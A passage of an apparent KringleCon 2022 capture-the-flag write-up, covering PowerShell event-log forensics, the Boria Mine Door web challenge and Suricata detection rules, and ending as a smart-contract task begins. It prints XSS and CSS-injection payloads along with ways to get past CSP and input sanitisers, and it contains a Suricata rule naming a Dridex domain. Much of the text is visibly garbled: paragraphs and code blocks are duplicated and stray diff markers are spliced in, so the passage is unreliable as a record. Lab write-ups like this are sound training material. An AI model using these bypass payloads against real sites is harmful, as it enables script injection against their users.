</code></pre><p>Answer: Recipe</p><ol start=3><li>The contents of the previous file were retrieved, changed, and stored to a variable by the attacker. This was done multiple times. Submit the last full PowerShell line that performed only these actions.</li></ol><p>The second last line of the previous command&rsquo;s results can be seen altering the file. We&rsquo;ll submit this line of PowerShell.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>$foo = Get-Content .\Recipe| % {$_ <span style=color:#f92672>-replace</span> <span style=color:#e6db74>&#39;honey&#39;</span>, <span style=color:#e6db74>&#39;fish oil&#39;</span>} $foo | Add-Content -Path <span style=color:#e6db74>&#39;recipe_updated.txt&#39;</span>
</span></span></code></pre></div><ol start=4><li>After storing the altered file contents into the variable, the attacker used the variable to run a separate command that wrote the modified data to a file. This was done multiple times. Submit the last full PowerShell line that performed only this action.</li></ol><p>We know that this variable is <code>$foo</code> and we can search for it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;\$foo&#34;</span> powershell.evtx.log | tail -n <span style=color:#ae81ff>1</span>
</span></span></code></pre></div><p>This got me stuck for a while before I realized that Windows event logs are in reverse chronologincal order. So, the correct search command would be:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;\$foo&#34;</span> powershell.evtx.log | tac | tail -n <span style=color:#ae81ff>1</span>
</span></span></code></pre></div><p>Answer:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>$foo | Add-Content -Path <span style=color:#e6db74>&#39;Recipe&#39;</span>
</span></span></code></pre></div><ol start=5><li>The attacker ran the previous command against a file multiple times. What is the name of this file?</li></ol><p>If we skim through the event logs where <code>$foo</code> is being written to a file,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;^\$foo | Add-Content&#34;</span> powershell.evtx.log | tac
</span></span></code></pre></div><p>we notice that the attacker also wrote the contents of the variable to &lsquo;Recipe.txt&rsquo;</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>$foo | Add-Content -Path <span style=color:#e6db74>&#39;recipe_updated.txt&#39;</span>
</span></span><span style=display:flex><span>$foo | Add-Content -Path <span style=color:#e6db74>&#39;Recipe.txt&#39;</span>
</span></span><span style=display:flex><span>$foo | Add-Content -Path <span style=color:#e6db74>&#39;Recipe.txt&#39;</span>
</span></span><span style=display:flex><span>$foo | Add-Content -Path <span style=color:#e6db74>&#39;Recipe.txt&#39;</span>
</span></span><span style=display:flex><span>$foo | Add-Content -Path <span style=color:#e6db74>&#39;Recipe&#39;</span>
</span></span></code></pre></div><p>Answer: Recipe.txt</p><ol start=6><li>Were any files deleted? (Yes/No)</li></ol><p>Here we look for any invocation of the <code>Remove-Item</code> powershell CmdLet.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;remove-item&#34;</span> powershell.evtx.log
</span></span></code></pre></div><p>Answer: Recipe.txt</p><ol start=6><li>Were any files deleted? (Yes/No)</li></ol><p>Here we look for any invocation of the <code>Remove-Item</code> powershell CmdLet.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;remove-item&#34;</span> powershell.evtx.log
</span></span></code></pre></div><p>Indeed, we find two invocations of the command, sufficient to conclude that files
were deleted.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>Information 12/24/2022 3:05:51 AM Microsoft-Windows-PowerShell 4103 Executing Pipeline &#34;CommandInvocation(Remove-Item): &#34;&#34;Remove-Item&#34;&#34;
were deleted.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-text data-lang=text><span style=display:flex><span>Information 12/24/2022 3:05:51 AM Microsoft-Windows-PowerShell 4103 Executing Pipeline &#34;CommandInvocation(Remove-Item): &#34;&#34;Remove-Item&#34;&#34;
</span></span><span style=display:flex><span>ParameterBinding(Remove-Item): name=&#34;&#34;Path&#34;&#34;; value=&#34;&#34;.\recipe_updated.txt&#34;&#34;
</span></span><span style=display:flex><span> Command Name = Remove-Item
</span></span><span style=display:flex><span>Information 12/24/2022 3:05:42 AM Microsoft-Windows-PowerShell 4103 Executing Pipeline &#34;CommandInvocation(Remove-Item): &#34;&#34;Remove-Item&#34;&#34;
</span></span><span style=display:flex><span>ParameterBinding(Remove-Item): name=&#34;&#34;Path&#34;&#34;; value=&#34;&#34;.\Recipe.txt&#34;&#34;
</span></span><span style=display:flex><span> Command Name = Remove-Item
</span></span></code></pre></div><p>Answer: Yes</p><ol start=7><li>Was the original file (from question 2) deleted? (Yes/No)</li></ol><p>Let&rsquo;s look at the <code>value</code>s for the command invocation we saw in the previous output. These values are &lsquo;recipe_updated.txt&rsquo; and &lsquo;Recipe.txt&rsquo;. The original file from question 2 was called &lsquo;Recipe&rsquo;. This means the file was not deleted.</p><p>Answer: No</p><ol start=8><li>What is the Event ID of the log that shows the actual command line used to delete the file?</li></ol><p>If we look at the output of the previous command with a context of around 16 lines before and after them,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;remove-item&#34;</span> powershell.evtx.log -C16
</span></span></code></pre></div><p>We see the Event ID of the command <code>del .\Recipe.txt</code></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span># --{snip}--
</span></span></code></pre></div><p>Answer: Yes</p><ol start=7><li>Was the original file (from question 2) deleted? (Yes/No)</li></ol><p>Let&rsquo;s look at the <code>value</code>s for the command invocation we saw in the previous output. These values are &lsquo;recipe_updated.txt&rsquo; and &lsquo;Recipe.txt&rsquo;. The original file from question 2 was called &lsquo;Recipe&rsquo;. This means the file was not deleted.</p><p>Answer: No</p><ol start=8><li>What is the Event ID of the log that shows the actual command line used to delete the file?</li></ol><p>If we look at the output of the previous command with a context of around 16 lines before and after them,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;remove-item&#34;</span> powershell.evtx.log -C16
</span></span></code></pre></div><p>We see the Event ID of the command <code>del .\Recipe.txt</code></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-text data-lang=text><span style=display:flex><span># --{snip}--
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>User Data:
</span></span><span style=display:flex><span>
@@ -452,32 +452,32 @@ were deleted.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;backgr
</span></span><span style=display:flex><span>Runspace ID: 4181eda9-20e6-4eb9-8869-fe5fa6d5e663&#34;
</span></span><span style=display:flex><span>Verbose 12/24/2022 3:05:42 AM Microsoft-Windows-PowerShell 4104 Execute a Remote Command &#34;Creating Scriptblock text (1 of 1):
</span></span><span style=display:flex><span>del .\Recipe.txt
</span></span></code></pre></div><p>Answer: 4104</p><ol start=9><li>Is the secret ingredient compromised (Yes/No)?</li></ol><p>We can perform a similar contextual analysis with the command in question 2 where the attacker used <code>Get-Content</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;get-content&#34;</span> powershell.evtx.log -C16
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span># --{snip}--
</span></span></code></pre></div><p>Answer: 4104</p><ol start=9><li>Is the secret ingredient compromised (Yes/No)?</li></ol><p>We can perform a similar contextual analysis with the command in question 2 where the attacker used <code>Get-Content</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;get-content&#34;</span> powershell.evtx.log -C16
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-text data-lang=text><span style=display:flex><span># --{snip}--
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>Verbose 12/24/2022 3:01:03 AM Microsoft-Windows-PowerShell 4105 Starting Command &#34;Started invocation of ScriptBlock ID: bd6174e2-248d-478b-b948-de16d9c08cdc
</span></span><span style=display:flex><span>Runspace ID: 4181eda9-20e6-4eb9-8869-fe5fa6d5e663&#34;
</span></span><span style=display:flex><span>Verbose 12/24/2022 3:01:03 AM Microsoft-Windows-PowerShell 4104 Execute a Remote Command &#34;Creating Scriptblock text (1 of 1):
</span></span><span style=display:flex><span>cat .\Recipe
</span></span></code></pre></div><p>The <code>cat .\Recipe</code> at the end confirms that the secret ingredient was compromised.</p><p>Answer: Yes</p><ol start=10><li>What is the secret ingredient?</li></ol><p>Let&rsquo;s search for the phrase &ldquo;secret ingredient&rdquo; ignoring case-sensitivity.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;secret ingredient&#34;</span> powershell.evtx.log | tac
</span></span></code></pre></div><p>We get the following output.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>ParameterBinding(Out-Default): name=&#34;&#34;InputObject&#34;&#34;; value=&#34;&#34;1/2 tsp honey (secret ingredient)&#34;&#34;
</span></span></code></pre></div><p>The <code>cat .\Recipe</code> at the end confirms that the secret ingredient was compromised.</p><p>Answer: Yes</p><ol start=10><li>What is the secret ingredient?</li></ol><p>Let&rsquo;s search for the phrase &ldquo;secret ingredient&rdquo; ignoring case-sensitivity.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;secret ingredient&#34;</span> powershell.evtx.log | tac
</span></span></code></pre></div><p>We get the following output.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-text data-lang=text><span style=display:flex><span>ParameterBinding(Out-Default): name=&#34;&#34;InputObject&#34;&#34;; value=&#34;&#34;1/2 tsp honey (secret ingredient)&#34;&#34;
</span></span><span style=display:flex><span>ParameterBinding(ForEach-Object): name=&#34;&#34;InputObject&#34;&#34;; value=&#34;&#34;1/2 tsp honey (secret ingredient)&#34;&#34;
</span></span><span style=display:flex><span>ParameterBinding(Add-Content): name=&#34;&#34;Value&#34;&#34;; value=&#34;&#34;1/2 tsp fish oil (secret ingredient)&#34;&#34;
</span></span><span style=display:flex><span>ParameterBinding(Add-Content): name=&#34;&#34;Value&#34;&#34;; value=&#34;&#34;1/2 tsp fish oil (secret ingredient)&#34;&#34;
</span></span><span style=display:flex><span>ParameterBinding(Out-Default): name=&#34;&#34;InputObject&#34;&#34;; value=&#34;&#34;1/2 tsp fish oil (secret ingredient)&#34;&#34;
</span></span><span style=display:flex><span>ParameterBinding(Out-Default): name=&#34;&#34;InputObject&#34;&#34;; value=&#34;&#34;1/2 tsp honey (secret ingredient)&#34;&#34;
</span></span></code></pre></div><p>Notice how <code>1/2 tsp fish oil</code> is used with <code>Add-Content</code> which indicates that this is the altered secret ingredient. Thus, we choose the first output that was a parameter to <code>Out-Default</code>.</p><p>Answer: <code>1/2 tsp honey</code></p><p>That&rsquo;s it! All ten questions answered.</p><h3 id=boria-mine-door>Boria Mine Door</h3><p>This one challenge was something I found pretty tricky. Here&rsquo;s the layout of the pins, the top rows consisting of pins 1, 2, 3 and the next row having pins 6, 5, 5 from left to right respectively.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-10-15-58-41.png alt=Boria-Mine-Door></p><p>Looking at the pin1 frame source, we get the answer from an HTML comment.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>@&amp;@&amp;&amp;W&amp;&amp;W&amp;&amp;&amp;&amp;
</span></span></code></pre></div><p>We paste this in the pin 1 input field, hit <code>GO</code> and call it done.</p><p>Next, from the frame source of pin 2, we find this comment.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span><span style=color:#75715e>&lt;!-- TODO: FILTER OUT HTML FROM USER INPUT --&gt;</span>
</span></span></code></pre></div><p>We can inline CSS as the input, evident from the content security policy <code>default-src 'self';script-src 'self';style-src 'self' 'unsafe-inline'"</code></p><p>Since the connections are white, I&rsquo;ll fill the entire body with white color. We submit this to the input field.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>style</span>&gt;<span style=color:#f92672>body</span>{<span style=color:#66d9ef>background</span>:<span style=color:#ae81ff>#fff</span>}&lt;/<span style=color:#f92672>style</span>&gt;
</span></span></code></pre></div><p>Notice how <code>1/2 tsp fish oil</code> is used with <code>Add-Content</code> which indicates that this is the altered secret ingredient. Thus, we choose the first output that was a parameter to <code>Out-Default</code>.</p><p>Answer: <code>1/2 tsp honey</code></p><p>That&rsquo;s it! All ten questions answered.</p><h3 id=boria-mine-door>Boria Mine Door</h3><p>This one challenge was something I found pretty tricky. Here&rsquo;s the layout of the pins, the top rows consisting of pins 1, 2, 3 and the next row having pins 6, 5, 5 from left to right respectively.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-10-15-58-41.png alt=Boria-Mine-Door></p><p>Looking at the pin1 frame source, we get the answer from an HTML comment.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-text data-lang=text><span style=display:flex><span>@&amp;@&amp;&amp;W&amp;&amp;W&amp;&amp;&amp;&amp;
</span></span></code></pre></div><p>We paste this in the pin 1 input field, hit <code>GO</code> and call it done.</p><p>Next, from the frame source of pin 2, we find this comment.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span><span style=color:#75715e>&lt;!-- TODO: FILTER OUT HTML FROM USER INPUT --&gt;</span>
</span></span></code></pre></div><p>We can inline CSS as the input, evident from the content security policy <code>default-src 'self';script-src 'self';style-src 'self' 'unsafe-inline'"</code></p><p>Since the connections are white, I&rsquo;ll fill the entire body with white color. We submit this to the input field.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>style</span>&gt;<span style=color:#f92672>body</span>{<span style=color:#66d9ef>background</span>:<span style=color:#ae81ff>#fff</span>}&lt;/<span style=color:#f92672>style</span>&gt;
</span></span></code></pre></div><p>The iframe for pin 3 has content security policy <code>script-src 'self' 'unsafe-inline'; style-src 'self'</code>. This means we can perform the classic <code>&lt;script>...&lt;/script></code> XSS tricks.
Now, instead of solving pin 3, we are going to piggyback off the pin 3 iframe and generate the images for pins 5 and 6. First we&rsquo;ll tackle pin 5.</p><p>Generate the image by submitting the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>script</span>&gt;document.<span style=color:#a6e22e>body</span>.<span style=color:#a6e22e>style</span>.<span style=color:#a6e22e>background</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#39;linear-gradient(150deg, #f00 165px, #00f 165px)&#39;</span>;&lt;/<span style=color:#f92672>script</span>&gt;
Now, instead of solving pin 3, we are going to piggyback off the pin 3 iframe and generate the images for pins 5 and 6. First we&rsquo;ll tackle pin 5.</p><p>Generate the image by submitting the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>script</span>&gt;document.<span style=color:#a6e22e>body</span>.<span style=color:#a6e22e>style</span>.<span style=color:#a6e22e>background</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#39;linear-gradient(150deg, #f00 165px, #00f 165px)&#39;</span>;&lt;/<span style=color:#f92672>script</span>&gt;
</span></span></code></pre></div><p>Right click on the image generated and copy the image link. Mine is <code>https://hhc22-novel.kringlecon.com/images/6b5ac53d5c96833fd90136ff742e8728ac3c35be.png</code>.</p><p>Now, for pin 5&rsquo;s input field, we have two ways to go about.</p><p>My favorite is the risky <em><strong>race-against-your-browser</strong></em> technique which I&rsquo;ll demonstrate first. Pin 5&rsquo;s iframe has an onblur event to replace all characters from the charset <code>&lt;"'></code> ignoring the case. This means, on hitting go, the input box loses focus and the characters are replaced. The ignore-case property, which takes ever-so-slightly more time than the normal replace, is where we race against our browser. We submit the following payload three or four times very fast and hopefully our browser fails to replace one of their contents before the request takes flight.
While submitting, we hit the enter key instead of hitting the <code>GO</code> button. <strong>Make sure to rename the image.</strong></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>i</span>&gt;&lt;<span style=color:#f92672>img</span> <span style=color:#a6e22e>src</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#34;images/6b5ac53d5c96833fd90136ff742e8728ac3c35be.png&#34;</span>&gt;#
While submitting, we hit the enter key instead of hitting the <code>GO</code> button. <strong>Make sure to rename the image.</strong></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>i</span>&gt;&lt;<span style=color:#f92672>img</span> <span style=color:#a6e22e>src</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#34;images/6b5ac53d5c96833fd90136ff742e8728ac3c35be.png&#34;</span>&gt;#
</span></span></code></pre></div><p>If this fails for your browser, you can resort to removing the callback for the <code>onblur</code> event. We do so by right clicking the input box for pin 5 and going to <code>Inspect</code>. Double click on the <code>onblur</code> attribute for the highlighted input tag and hit backspace to wipe it. Submit the above payload <strong>making sure to rename the image</strong>.</p><p>Next we tackle pin 6. Pin 6&rsquo;s iframe has the CSP <code>script-src 'self'; style-src 'self'</code>.
A quick check using <a href=https://csp-evaluator.withgoogle.com/>CSP evaluator</a> (<a href=https://csp-evaluator.withgoogle.com/>https://csp-evaluator.withgoogle.com/</a>) tells us that <code>script-src 'self'</code> can be problematic if JSONP, Angular or user uploaded files are hosted. Right! We&rsquo;ll generate its image too using pin 3&rsquo;s input box. Submit the following to pin 3&rsquo;s input:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>script</span>&gt;document.<span style=color:#a6e22e>body</span>.<span style=color:#a6e22e>style</span>.<span style=color:#a6e22e>background</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#39;linear-gradient(185deg, #0f0 90px, red 90px, red 150px, blue 150px)&#39;</span>;&lt;/<span style=color:#f92672>script</span>&gt;
</span></span></code></pre></div><p>Right click on the image generated and copy the image link. Mine is <code>https://hhc22-novel.kringlecon.com/images/221a8284e6b2eb5af43e74730a83dd943a52b700.png</code>.</p><p>Now we submit the following in pin 6&rsquo;s input to just source the image.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>img</span> <span style=color:#a6e22e>src</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#34;images/221a8284e6b2eb5af43e74730a83dd943a52b700.png&#34;</span>&gt;
</span></span></code></pre></div><p>Now we submit pin 4&rsquo;s payload. Pin 4 has an <code>onblur</code> event which removes the first instances of the character set <code>&lt;'"></code>. Think pin 5 but easier. To bypass this replace we prepend our style tags with a dummy tag to sacrifice. We submit the following.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>img</span> <span style=color:#a6e22e>src</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#34;#&#34;</span>&gt;&lt;<span style=color:#f92672>style</span>&gt;<span style=color:#f92672>body</span>{<span style=color:#66d9ef>background</span>:linear-gradient(<span style=color:#ae81ff>180</span><span style=color:#66d9ef>deg</span>, <span style=color:#ae81ff>#fff</span> <span style=color:#ae81ff>85</span><span style=color:#66d9ef>px</span>, <span style=color:#ae81ff>#00f</span> <span style=color:#ae81ff>85</span><span style=color:#66d9ef>px</span>);}&lt;/<span style=color:#f92672>style</span>&gt;
</span></span></code></pre></div><p>We can finish off pin 3 which has two blue connection ends and allows inline scripts through its CSP. We submit the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>script</span>&gt;document.<span style=color:#a6e22e>body</span>.<span style=color:#a6e22e>style</span>.<span style=color:#a6e22e>background</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#39;blue&#39;</span>&lt;/<span style=color:#f92672>script</span>&gt;
A quick check using <a href=https://csp-evaluator.withgoogle.com/>CSP evaluator</a> (<a href=https://csp-evaluator.withgoogle.com/>https://csp-evaluator.withgoogle.com/</a>) tells us that <code>script-src 'self'</code> can be problematic if JSONP, Angular or user uploaded files are hosted. Right! We&rsquo;ll generate its image too using pin 3&rsquo;s input box. Submit the following to pin 3&rsquo;s input:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>script</span>&gt;document.<span style=color:#a6e22e>body</span>.<span style=color:#a6e22e>style</span>.<span style=color:#a6e22e>background</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#39;linear-gradient(185deg, #0f0 90px, red 90px, red 150px, blue 150px)&#39;</span>;&lt;/<span style=color:#f92672>script</span>&gt;
</span></span></code></pre></div><p>Right click on the image generated and copy the image link. Mine is <code>https://hhc22-novel.kringlecon.com/images/221a8284e6b2eb5af43e74730a83dd943a52b700.png</code>.</p><p>Now we submit the following in pin 6&rsquo;s input to just source the image.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>img</span> <span style=color:#a6e22e>src</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#34;images/221a8284e6b2eb5af43e74730a83dd943a52b700.png&#34;</span>&gt;
</span></span></code></pre></div><p>Now we submit pin 4&rsquo;s payload. Pin 4 has an <code>onblur</code> event which removes the first instances of the character set <code>&lt;'"></code>. Think pin 5 but easier. To bypass this replace we prepend our style tags with a dummy tag to sacrifice. We submit the following.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>img</span> <span style=color:#a6e22e>src</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#34;#&#34;</span>&gt;&lt;<span style=color:#f92672>style</span>&gt;<span style=color:#f92672>body</span>{<span style=color:#66d9ef>background</span>:linear-gradient(<span style=color:#ae81ff>180</span><span style=color:#66d9ef>deg</span>, <span style=color:#ae81ff>#fff</span> <span style=color:#ae81ff>85</span><span style=color:#66d9ef>px</span>, <span style=color:#ae81ff>#00f</span> <span style=color:#ae81ff>85</span><span style=color:#66d9ef>px</span>);}&lt;/<span style=color:#f92672>style</span>&gt;
</span></span></code></pre></div><p>We can finish off pin 3 which has two blue connection ends and allows inline scripts through its CSP. We submit the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-html data-lang=html><span style=display:flex><span>&lt;<span style=color:#f92672>script</span>&gt;document.<span style=color:#a6e22e>body</span>.<span style=color:#a6e22e>style</span>.<span style=color:#a6e22e>background</span><span style=color:#f92672>=</span><span style=color:#e6db74>&#39;blue&#39;</span>&lt;/<span style=color:#f92672>script</span>&gt;
</span></span></code></pre></div><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-10-16-44-36.png alt=Boria-Mine-Door-solved></p><p>That&rsquo;s all for the Boria mine doors. With the <em><strong>race-against-your-browser</strong></em> technique, you can proudly brag that you didn&rsquo;t even need to modify the client side code for any of the challenges.</p><h3 id=suricata-regatta>Suricata Regatta</h3><p>This challenge asks us to write Suricata rules to the <code>suricata.rules</code> file according to the instructions. Once we have the right rules, we can run <code>./rule_checker</code> to check the correctness of our rules. Here are the instructions we encounter:</p><blockquote><ol><li>First, please create a Suricata rule to catch DNS lookups for adv.epostoday.uk.
Whenever there&rsquo;s a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection.</li></ol></blockquote><p>We use the alert action on the <code>dns</code> protocol, with hosts and ports as <code>any</code>. We&rsquo;ll keep the <code>msg</code> and <code>dns_query; content</code> field as instructed.</p><pre tabindex=0><code>alert dns any any -&gt; any any (msg:&#34;Known bad DNS lookup, possible Dridex infection&#34;; dns_query; content:&#34;adv.epostoday.uk&#34;;)
</code></pre><blockquote><ol start=2><li>Develop a Suricata rule that alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP.
@@ -492,7 +492,7 @@ Just in case they try this again, please alert on that HTTP data with message Su
</code></pre><p>That concludes the Suricata Regatta challenge.</p><h3 id=blockchain-divination>Blockchain Divination</h3><p>This challenge asks us to use se the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain. We are requested to find what address the KringleCoin smart contract is deployed at.</p><p>Let&rsquo;s click on the Blockchain Explorer. Block 0 has nothing of interest. We go to block 1. Block 1 has transaction 0 which creates a contract &ldquo;KringleCoin&rdquo;. We can see the contract address here as <code>0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554</code>.
We submit this in our set of objectives and that solves this challenge. Easy? I&rsquo;ll take it.</p><h3 id=exploit-a-smart-contract>Exploit a Smart Contract</h3><p>This challenge asks us to exploit flaws in a smart contract to buy ourselves a Bored Sporc NFT. Let&rsquo;s go to the presale page of The Bored Sporc Rowboat Society.
The presale price for a Sporc is 100 KringleCoin (KC). At this point, I checked my wallet balance and it turned out to be 455 KC, enough to buy 4 of these NFTs. First we have to pre-approve 100 KC to the address provided.
